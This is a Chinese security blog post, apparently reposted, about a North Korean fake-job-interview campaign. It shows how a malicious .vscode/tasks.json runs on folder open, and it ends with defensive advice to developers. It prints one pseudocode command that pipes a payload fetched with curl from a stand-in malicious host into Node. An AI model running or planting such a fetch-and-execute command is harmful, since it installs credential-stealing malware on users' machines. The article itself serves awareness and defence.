文章总结: 本文披露朝鲜黑客利用GitHub面试代码针对开发者的攻击。黑客通过篡改.vscode/tasks.json配置实现自动执行,利用curl拉取Node.js木马进行无文件落地攻击,窃取数据与系统权限。建议开发者勿盲目信任VSCode文件夹,检查tasks.json配置,并在虚拟机中处理陌生代码以保障安全。 综合评分: 88 文章分类: 社会工程学,恶意软件,漏洞分析,安全意识,供应链安全
程序员面试“杀猪盘”升级:朝鲜黑客盯上你的 GitHub,clone 代码即中毒
原创
Hankzheng Hankzheng
技术修道场
2026年1月23日 07:57 广东
大家好,今天咱们来聊聊一个让所有程序员都容易忽视的安全话题。
相信大家每天工作的第一件事,就是打开 VS Code,git clone 拉取代码,然后开始搬砖。但就在你把项目文件夹拖进 VS Code 的那一瞬间,甚至还没来得及敲下一行代码,你的电脑就已经被黑客完全控制了,你信吗?
这是 Jamf 威胁实验室 最新披露的一起高危攻击事件。
这帮来自朝鲜的黑客组织(业内称之为“Contagious Interview”行动背后的操盘手),正在利用我们的开发工具——Visual Studio Code,进行一场精心策划的“降维打击”。
今天,我就带大家拆解一下这个攻击链的技术细节,看看这帮人到底怎么玩。
01 面试题里的“特洛伊木马”
这几年,程序员面试越来越卷,很多公司(或者是伪装成公司的黑客)会发给你一个 GitHub 或 GitLab 的仓库链接,让你完成一个“代码测试(Coding Challenge)”。
常见的剧本是这样的:
- HR 发给你一个看起来很正规的项目链接。
- 让你把代码 clone 下来,在本地跑起来,完成几个功能。
- 你毫无防备地 clone,用 VS Code 打开。
- 然后就游戏结束。
大家可能会问:我还没运行 npm install,也没跑 node server.js,怎么就中毒了?
问题的核心,出在一个不起眼的配置文件上——.vscode/tasks.json。
02 硬核拆解:tasks.json 的武器化
对于资深开发者来说,.vscode 文件夹大家都不陌生。我们常用它来配置项目的调试环境、格式化规则等。而 tasks.json 本来是为了方便开发者自动化执行任务(比如编译、测试、启动服务)的。
但在这帮黑客手里,它变成了RCE(远程代码执行)的发射器。
核心原理:runOn: folderOpen
攻击者在恶意的 Git 仓库里预埋了一个经过精心构造的 .vscode/tasks.json 文件。关键点在于,他们配置了一个自动化触发器。
当你用 VS Code 打开这个项目文件夹时,VS Code 会弹出一个提示框:“是否信任此文件夹的作者?”
老实说,大家是不是早就形成了肌肉记忆,看都不看直接点 “Yes, I trust the authors”?
一旦你点了信任,那个被标记为 runOn: folderOpen 的任务就会在后台静默执行。
03 MacOS 上的“无文件”攻击
Jamf 的研究员 Thijs Xhaflaire 发现,这帮黑客在 MacOS 系统上的攻击手法尤为精妙。他们没有直接下载一个 .exe 或 .dmg,而是利用了系统自带的工具链。
攻击脚本执行的命令大致逻辑如下(伪代码):
nohup bash -c “curl -s https://恶意域名/payload.js | node” &
这里有几个技术细节值得细品:
-
nohup ... &让恶意进程与 VS Code 进程解绑。这意味着,哪怕你发现不对劲关掉了 VS Code,后台的木马依然在运行。
-
curl | node直接从远程服务器拉取 JavaScript 代码,并通过管道(pipe)输送给 Node.js 运行时执行。 高明之处:整个过程没有文件落地,恶意代码直接在内存中跑,大大降低了被传统杀毒软件扫描到的概率。
04 攻击链进阶:BeaverTail 与 InvisibleFerret
一旦口子被撕开,后续的攻击就像流水线一样顺滑。
阶段一:Vercel 做跳板 黑客利用了合法的云服务平台 Vercel 来托管他们的恶意 Payload。因为 Vercel 是正规开发平台,流量很难被企业防火墙拦截。
阶段二:驻留与窃取 注入的 JavaScript 会在受害者电脑上建立一个持久化的执行循环。
-
BeaverTail (海狸尾巴)
这是一个 Node.js 编写的信息窃取器,专门搜刮浏览器里的 Cookie、密码,甚至会扫描你的剪贴板,替换你的加密货币钱包地址。
-
InvisibleFerret (隐形雪貂)
如果环境允许,它还会拉取一个 Python 环境,运行更强大的后门,甚至安装 AnyDesk 进行远程桌面控制。
有趣的发现:AI 写的代码? 安全研究员在分析恶意脚本时发现了一个有意思的细节:源码中充满了大量的内联注释和极其规范的措辞。这强烈暗示了这帮黑客可能正在使用 AI 工具(如 ChatGPT 或 Copilot)来生成或优化他们的攻击代码。
看来,不仅我们在用 AI 提效,黑客也在用 AI 搞破坏,这真是“魔高一尺”。
05 甚至我都觉得可怕,该怎么防?
作为一名技术人,看到这种针对开发者工作流(Workflow)的攻击,确实会有危机感。因为它是利用了我们对工具的信任和工作的惯性。
给兄弟们的几条建议:
1. 收起你的“信任” 在 VS Code 弹出“Do you trust the authors?”时,停下来,想三秒。如果是陌生人发来的面试项目、外包代码,先选 “No” 或者 “Browse in Restricted Mode”(受限模式浏览)。
2. 检查 .vscode 文件夹
Clone 下来代码后,不要急着打开。先去文件管理器里看看有没有 .vscode 文件夹,重点检查 tasks.json 里有没有 runOn: folderOpen 这种鬼东西,或者奇怪的 shell 命令。
3. 虚拟机大法好 如果你经常需要处理来源不明的代码(比如面试、接私活),建议在虚拟机或者专门的沙箱环境(Sandbox)里操作。别拿自己的主力开发机裸奔。
技术本无罪,但利用技术的漏洞去攻击创造技术的人,这就很不讲武德了。
朝鲜黑客组织(DPRK)特别喜欢盯着加密货币、区块链和金融科技领域的开发者。如果你的工作涉及这些领域,请务必打起十二分精神。
转发给你身边的程序员朋友吧!
别让一次简单的 git clone,变成了职业生涯的滑铁卢。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:技术修道场 Hankzheng Hankzheng《程序员面试“杀猪盘”升级:朝鲜黑客盯上你的 GitHub,clone 代码即中毒》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论